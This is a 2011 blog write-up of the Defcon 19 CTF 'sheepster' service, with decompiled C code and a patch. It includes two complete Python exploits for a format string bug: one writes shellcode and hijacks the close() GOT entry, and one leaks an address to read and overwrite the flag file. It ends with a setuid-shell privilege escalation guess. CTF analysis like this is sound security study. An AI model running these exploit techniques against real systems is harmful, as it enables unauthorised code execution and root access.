Friday, August 12, 2011

Defcon 19 CTF - Sheepster

sheepster: ELF 32-bit LSB executable, Intel 80386, version 1 (FreeBSD),
dynamically linked (uses shared libs), for FreeBSD 8.2, stripped

This service classically listens on port 5775 and drops to privileges of user "sheepster". For every connection, a child is forked and handler function is called.


Decompilation by IDA Pro with Hex-Rays gives:
int __cdecl handler(int fd)
{
  const char *encoded; // eax@5
  size_t buflen; // eax@20
  __int16 v3; // ax@26
  size_t len__; // eax@29
  const char *unscrambled; // eax@30
  size_t buflen_; // eax@36
  const char *scrambled; // eax@36
  int result_; // [sp+1Ch] [bp-AFCh]@2
  char feof_; // [sp+23h] [bp-AF5h]@26
  char format[1000]; // [sp+26h] [bp-AF2h]@36
  char user_name[10]; // [sp+40Eh] [bp-70Ah]@9
  char buf[256]; // [sp+418h] [bp-700h]@1
  char dest[512]; // [sp+518h] [bp-600h]@1
  char filename_address[1000]; // [sp+718h] [bp-400h]@9
  FILE *stream; // [sp+B00h] [bp-18h]@22
  char *flag_r; // [sp+B04h] [bp-14h]@1
  const char *flag_a; // [sp+B08h] [bp-10h]@1
  int flag; // [sp+B0Ch] [bp-Ch]@1
  unsigned int len; // [sp+B10h] [bp-8h]@1

  flag_r = "r";
  flag_a = "a";
  flag = 0;
  len = 0;
  memset(filename, 0, 6u);
  memcpy(filename, "./log", 6u);
  memcpy(dest, ">", 2u);
  send_string(fd, dest, 0);
  memset(buf, 0, 0x100u);
  len = do_recv(fd, buf, 10u, '\n');
  if ( (len & 0x80000000u) == 0 )
  {
    if ( strcmp(buf, "zzyzxrd") )
    {
      encoded = pass_encode(buf);
      if ( strcmp(encoded, "x`lXPPTH@8") )
      {
        close(fd);
        return 0;
      }
    }
    else
    {
      flag = 1;
    }
    memcpy(dest, "Enter Username:", 0x10u);
    send_string(fd, dest, 0);
    memset(buf, 0, 0x100u);
    len = do_recv(fd, buf, 10u, '\n');
    if ( (len & 0x80000000u) == 0 )
    {
      strncpy(user_name, buf, 10u);
      memset(filename_address, 0, 1000u);
      memset(dest, 0, 512u);
      sprintf(filename_address, "0x%x\n", filename);
      memcpy(dest, "Welcome to the ddtek blog.\n", 28u);
      send_string(fd, dest, 0);
      while ( 1 )
      {
        while ( 1 )
        {
          len = 0;
          send_string(fd, "$", 0);
          memset(dest, 0, 512u);
          memset(buf, 0, 256u);
          len = do_recv(fd, buf, 10u, '\n');
          if ( (len & 0x80000000u) != 0 )
          {
            close(fd);
            return 0;
          }
          if ( strcmp(buf, "key_op") )
            break;
          if ( backdoor_crypto(fd, 0) )
            send_string(fd, "success\n", 0);
          else
            send_string(fd, "fail\n", 0);
        }
        if ( !strcmp(buf, "quit") )
          break;
        if ( strcmp(buf, "echo") )
        {
          if ( strcmp(buf, "read") )
          {
            if ( strcmp(buf, "write") )
            {
              if ( buf[0] )
              {
                strcpy(dest, buf);
                strcat(dest, " : command not found\n");
                send_string(fd, dest, 0);
              }
            }
            else
            {
              stream = fopen(filename, flag_a); // command write
              if ( stream )
              {
                memset(dest, 0, 512u);
                memcpy(dest, "Post:", 6u);
                send_string(fd, dest, 0);
                memset(buf, 0, 256u);
                len = do_recv(fd, buf, 64u, '\n');
                if ( (len & 0x80000000u) != 0 )
                {
                  close(fd);
                  return 0;
                }
                memset(dest, 0, 512u);
                strcpy(dest, user_name);
                buflen_ = strlen(dest);
                memcpy(&dest[buflen_], ": ", 3u);
                strcat(dest, buf);
                memset(format, 0, 1000u);
                scrambled = encode(dest);
                strcpy(format, scrambled);
                strcat(format, "\n");
                if ( flag == 1 )
                  fputs(format, stream);
                else
                  fprintf(stream, format);      // vuln
                fclose(stream);
              }
              else
              {
                memset(dest, 0, 512u);
                memcpy(dest, "Could not open blog\n", 21u);
                send_string(fd, dest, 0);
              }
            }
          }
          else
          {
            stream = fopen(filename, flag_r);   // command read
            if ( stream )
            {
              fseek(stream, -1000, 2);
              while ( 1 )
              {
                memset(dest, 0, 0x200u);
                fgets(dest, 100, stream);
                if ( _isthreaded )
                {
                  feof_ = feof(stream) != 0;
                }
                else
                {
                  v3 = LOWORD(stream->_IO_read_base);
                  feof_ = (v3 & ' ') != 0;
                }
                if ( feof_ )
                  break;
                unscrambled = decode(dest);
                strcpy(dest, unscrambled);
                send_string(fd, dest, 0);
              }
              memset(dest, 0, 0x200u);
              len__ = strlen(dest);
              memcpy(&dest[len__], "eof\n", 5u);
              send_string(fd, dest, 0);
              fclose(stream);
            }
            else
            {
              memset(dest, 0, 0x200u);
              memcpy(dest, "Could not open blog\n", 0x15u);
              send_string(fd, dest, 0);
            }
          }
        }
        else
        {
          memset(dest, 0, 0x200u);
          memcpy(dest, ">", 2u);
          send_string(fd, dest, 0);
          memset(buf, 0, 0x100u);
          len = do_recv(fd, buf, 64u, '\n');
          if ( (len & 0x80000000u) != 0 )
          {
            close(fd);
            return 0;
          }
          buflen = strlen(buf);
          memcpy(&buf[buflen], "\n", 2u);
          send_string(fd, buf, 0);
        }
      }
      result_ = 0;
    }
    else
    {
      close(fd);
      result_ = 0;
    }
  }
  else
  {
    close(fd);
    result_ = 0;
  }
  return result_;
}
A password is asked, silently. If it matches "zzyzxrd", program continues with flag = 1. If, once encoded, it matches "x`lXPPTH@8", then same with flag = 0. Any other string drops the connection.

The server then asks for a username, ended with "\n" or of maximum 10 characters. After, the user is provided with the blog command-line, accepting the following commands:
  • quit: close connection
  • key_op: enter ddtek's backdoor, print "failed" if wrong key and continue
  • echo: print the args
  • read: read a blog entry from file
  • write: write a blog entry to file, with fputs(stream, string) if flag is 0 or fprintf(stream, string) if flag is 1 => format string vulnerability

Note that posts are encoded (using a custom function) when saved to file with command write. Similarly, posts are decoded (with the inverse function) before being displayed with command read.


Exploit


First, implement the password encode function, create its inverse and decode the password that leaves flag = 0. Second, implement the encode and decode functions used in write and read commands.

Then, leverage the format string vulnerability to:
  1. write a shellcode in an available rwx memory area
  2. rewrite a GOT function pointer such as close() to jump to it

Because the program encodes the blog post before passing it to fprintf, every format string must be decoded first then sent to the program.
This implies the following limitations:
  • encoded format string must not contain "\x00" (stops strcat) or "\n" (stops recv)
  • the format string must be smaller than 64 characters

In order to have a set of valid format strings to write all required data, the following exploit implements a recursive algorithm choosing between different format string techniques (half/byte of length 6/4/3/2/1).

Exploit code:
#!/usr/bin/python
# Defcon 2011 CTF - sheepster
import socket, random, string
from sys import argv,exit
from struct import pack, unpack

DEFAULT_PORT = 5775
DEBUG = False
GOT_CLOSE = 0x0804E698
AREA = 0x804ec70 # some available rwx memory

# reimplement the password encode function
def pass_encode(s):
  o = ''
  for i in range(len(s)):
    x = ord(s[i])
    x += 3 * i
    x >>= 2
    x -= 2 * i
    x *= 4
    o += chr(x & 0xFF)
  return o

# then implement its inverse
def pass_decode(s):
  o = ''
  for i in range(len(s)):
    x = ord(s[i])
    x /= 4
    x += 2 * i
    x <<= 2
    x -= 3 * i
    o += chr(x & 0xFF)
  return o

# encode function used to write posts to file
def encode(s, offset=0):
  o = ''
  for i in range(len(s)):
    x = ord(s[i])
    x ^= 0x2B
    x += 63
    x ^= 0x58
    x -= 77
    x ^= 0x4A
    x += 27
    x -= (2 * (offset+i)) % 8
    o += chr(x & 0xFF)
  return o

# decode function used to read posts from file
def decode(s, offset=0):
  o = ''
  for i in range(len(s)):
    x = ord(s[i])
    x += (2 * (offset+i)) % 8
    x -= 27
    x ^= 0x4A
    x += 77
    x ^= 0x58
    x -= 63
    x ^= 0x2B
    o += chr(x & 0xFF)
  return o

def randalnum(size):
  alnum = [c for c in string.lowercase+string.uppercase+string.digits]
  return "".join([random.choice(alnum) for i in range(size)])

def connect(dst, port):
  try:
    s = socket.socket(socket.AF_INET6 if ':' in dst else socket.AF_INET, socket.SOCK_STREAM)
    s.connect((dst, port))
    return s
  except socket.error, e:
    print "Error: %s" % repr(e)
    exit(1)

def recv(s, size=4096):
  d = s.recv(size)
  if DEBUG: print "S: %r" % d
  return d

def send(s, d):
  if DEBUG: print "C: %r" % d
  return s.send(d)

def welcome(s, user=""):
  recv(s) # >
  # enter with flag = 0 by giving the encoded password
  send(s, pass_decode("x`lXPPTH@8") + "\n") # "xevgdirkhe"
  recv(s) # "Enter Username:"
  if len(user) < 10:
    user += "\n"
  send(s, user[:10])
  if "$" not in recv(s): # "Welcome to the ddtek blog.\n"
    recv(s) # "$"

def write(s, data):
  send(s, "write\n")
  r = recv(s) # "Post:"
  if "Could not open blog" in r:
    print "[!] Error: server replied %r" % r.strip()
    exit(1)
  data = decode(data, offset=10) # user+": "
  if len(data) < 64:
    data += "\n"
  print "[+] Writing post of length %i" % len(data)
  send(s, data[:64]) # max size 64 and "\n" terminates
  recv(s) # "$"

def read(s):
  send(s, "read\n")
  d = ""
  while not d.endswith("eof\n$"):
    d += recv(s)
  return d

def read_find(s, user):
  # read text: multiple blog posts
  text = read(s)
  # match start
  startp = user + ": "
  start = text.find(startp)
  if start == -1:
    raise Exception("read_find(): cannot find start")
  text = text[start+len(startp):]
  # match end -- we expect our post to be the last one when reading
  end = text.find("\neof\n$")
  if end == -1:
    raise Exception("read_find(): cannot find end")
  text = text[:end]
  # we got it!
  return encode(text, 10)

def valid_format_string(data, already_written=0): # avoid bad chars
  data = decode(data, offset=already_written)
  if "\n" in data or "\x00" in data or len(data) > 64:
    return False
  else:
    return True

def fmt_write_half(address, data, offset, already_written=0):
  data += "\x00"*(-len(data)%2) # align
  v = [unpack("<H",data[i:][:2])[0] for i in range(0,len(data),2)]
  f  = ""
  for i in range(len(v)):
    f += pack("<I", address + 2*i)
  aw = already_written + len(f)
  for i in range(len(v)):
    f += "%" + str((v[i]-aw)&0xFFFF) + "u%" + str(offset + i) + "$hn"
    aw = v[i]
  return f

def fmt_write_byte(address, data, offset, already_written=0):
  v = map(ord, [c for c in data])
  f  = ""
  for i in range(len(v)):
    f += pack("<I", address + i)
  aw = already_written + len(f)
  for i in range(len(v)):
    f += "%" + str((v[i]-aw)&0xFF) + "u%" + str(offset + i) + "$hhn"
    aw = v[i]
  return f

def find_strategy(data, address, offset, already_written):
  """Find the best strategy of format strings to write data at address.
At our disposition: format strings of half-words or bytes, any length.
Limitations: length < 64 and no "\n" or "\x00" after encode
Function recursively checks if a given choice does not lead to a dead-end"""
  
  if len(data) == 0: # nothing to do
    return []
  
  if len(data) >= 6:
    fmt = fmt_write_half(address, data[:6], offset, already_written)
    if valid_format_string(fmt, already_written):
      remainder = find_strategy(data[6:], address+6, offset, already_written)
      if remainder != False:
        return [(6, "half")] + remainder
  
  if len(data) >= 4:
    fmt = fmt_write_half(address, data[:4], offset, already_written)
    if valid_format_string(fmt, already_written):
      remainder = find_strategy(data[4:], address+4, offset, already_written)
      if remainder != False:
        return [(4, "half")] + remainder
  
  if len(data) >= 4:
    fmt = fmt_write_byte(address, data[:4], offset, already_written)
    if valid_format_string(fmt, already_written):
      remainder = find_strategy(data[4:], address+4, offset, already_written)
      if remainder != False:
        return [(4, "byte")] + remainder
  
  if len(data) >= 3:
    fmt = fmt_write_byte(address, data[:3], offset, already_written)
    if valid_format_string(fmt, already_written):
      remainder = find_strategy(data[3:], address+3, offset, already_written)
      if remainder != False:
        return [(3, "byte")] + remainder
  
  if len(data) >= 2:
    fmt = fmt_write_half(address, data[:2], offset, already_written)
    if valid_format_string(fmt, already_written):
      remainder = find_strategy(data[2:], address+2, offset, already_written)
      if remainder != False:
        return [(2, "half")] + remainder
  
  if len(data) >= 2:
    fmt = fmt_write_byte(address, data[:2], offset, already_written)
    if valid_format_string(fmt, already_written):
      remainder = find_strategy(data[2:], address+2, offset, already_written)
      if remainder != False:
        return [(2, "byte")] + remainder
  
  if len(data) >= 1:
    fmt = fmt_write_byte(address, data[:1], offset, already_written)
    if valid_format_string(fmt, already_written):
      remainder = find_strategy(data[1:], address+1, offset, already_written)
      if remainder != False:
        return [(1, "byte")] + remainder
  
  # no suitable format string found
  return False

def write_at_address(s, data, address):
  # format string parameters
  offset = 11
  already_written = 10 # len(user + ": ")
  
  # find a combination of half/byte format strings that does it
  strategy = find_strategy(data, address, offset, already_written)
  
  if strategy == False:
    print "[!] Unable to find a suitable format string strategy"
    exit(1)
  
  # then send the writes
  i = 0
  for length, type in strategy:
    if type == "half":
      fmt = fmt_write_half
    else: # type == "byte"
      fmt = fmt_write_byte
    str = fmt(address + i, data[i:][:length], offset, already_written)
    write(s, str)
    i += length

def exploit(dst, port):
  s = connect(dst, port)
  user = randalnum(8)
  print "[*] User: %s" % user
  welcome(s, user)
  
  sc = "\xcc" # your shellcode
  
  # write shellcode using format string
  write_at_address(s, sc, AREA)
  
  # rewrite GOT entry of close() to point to shellcode
  write_at_address(s, pack("<I", AREA), GOT_CLOSE)
  
  # jump to shellcode by calling close()
  send(s, "quit\n")

if __name__=='__main__':
  if len(argv) < 2:
    print "Usage: %s <dst> [<port=%i>]" % (argv[0], DEFAULT_PORT)
    exit(1)
  dst = argv[1]
  port = int(argv[2]) if len(argv)>2 else DEFAULT_PORT
  try:
    exploit(dst, port)
  except KeyboardInterrupt:
    print "Interrupted"


Funny exploit


Blog filename is stored in the .bss at 0x0804E710 and filled by:
memcpy(filename, "./log", 6u);

To steal flags, use the format string to rewrite "./log" to "./key", then use "read" command to read the flag, encoded.

To overwrite flag, we could use the "write" command. Unfortunately, the file is opened in append mode and a prefix of "<user>: " is enforced so, unless ddtek allows such overwrites in their scoring engine, it should not work.

More fun? Suppose that the filename is not in the .bss but at a unknown address - for instance initialized with malloc(). For an unknown reason, the program stores the address of the filename in a stack buffer, in hexadecimal text format with:
sprintf(filename_address, "0x%x\n", filename);

Use the format string to leak this stack buffer and obtain the address of the filename. To read the result, use the "user" parameter as a pattern to find in the result of the read command ("<user>: " is not encoded).

Exploit code:
#!/usr/bin/python
# Defcon 2011 CTF - sheepster - funny
import re
from sheepster import *

def leak_filename_address(s, user):
  offset = 453
  fmt  = "%" + str(offset)   + "$08x"  # 4 bytes
  fmt += "%" + str(offset+1) + "$08x"  # 4 bytes
  fmt += "%" + str(offset+2) + "$04hx" # 2 bytes
  if not valid_format_string(fmt, 10):
    print "[-] Leak format string is not valid"
    exit(1)
  try:
    write(s, fmt)
    r = read_find(s, user)
  except Exception, e:
    if str(e).startswith("read_find(): "):
      print "[-] Write+read failed, please retry"
      exit(1)
    else:
      raise e
  # address was written with sprintf(stack_buf, "0x%x\n", filename)
  # so parse hexadecimal text format
  r = "".join([r[i:][:8].decode("hex")[::-1] for i in range(0,len(r),8)])
  return int(r.strip(), 16)

def read_flag(s):
  text = read(s)
  end = text.find("\neof\n$")
  if end == -1:
    print "[-] Cannot find eof"
    return ""
  text = text[:end]
  return encode(text)

def exploit(dst, port):
  s = connect(dst, port)
  user = randalnum(8)
  print "[*] User: %s" % user
  welcome(s, user)
  
  # leak filename address instead of using its value in .bss (0x0804E710)
  # could have been cool if adress was malloc'd/randomized
  filename_address = leak_filename_address(s, user)
  print "[*] Leaked filename address: 0x%08x" % filename_address
  
  # change filename
  write_at_address(s, "key", filename_address+2) # skip "./"
  
  # read flag
  flag = read_flag(s)
  if re.match("^[0-9a-f]{40}$", flag) is None:
    print "[-] Read flag failed :( retry?"
  else:
    print "[*] Read flag: %s" % flag
  
  # overwrite flag
  team_key = flag[::-1]
  print "[*] Overwrite with team key: %s" % team_key
  write(s, team_key)

if __name__=='__main__':
  if len(argv) < 2:
    print "Usage: %s <dst> [<port=%i>]" % (argv[0], DEFAULT_PORT)
    exit(1)
  dst = argv[1]
  port = int(argv[2]) if len(argv)>2 else DEFAULT_PORT
  try:
    exploit(dst, port)
  except KeyboardInterrupt:
    print "Interrupted"


Patch


Nop the conditional jump after the flag check in order to always call fputs and never fprintf.
This turns the vulnerable code:
if ( flag == 1 )
  fputs(format, stream);
else
  fprintf(stream, format);      // vuln
into:
if ( 1 )
  fputs(format, stream);
else
  fprintf(stream, format);      // never called

It gives the following 3-bytes patch in IDA .dif format:
000024B9: 75 90
000024BA: 17 90


Open question


What would happen if:
  • the home directory is writeable by user sheepster (maybe to be able to create "./log" if it does not exist?)
  • something (cron by the organizers?) regularily chowns this file to root (what for?)

Our guess:
sheepster:~$ cp /bin/sh log
sheepster:~$ chmod u+s log
Now that something does:
root:~# chown root /home/sheepster/log
and unlike Linux, setuid bit remains...
sheepster:~$ ./log -i
# id
# uid=30013(sheepster) gid=30013(sheepster) euid=0(root) groups=30013(sheepster)

What do you think?

1 comment:

  1. Could this automatic chown'ing be how Lollersk8terz gained root access to several boxes?

    ReplyDelete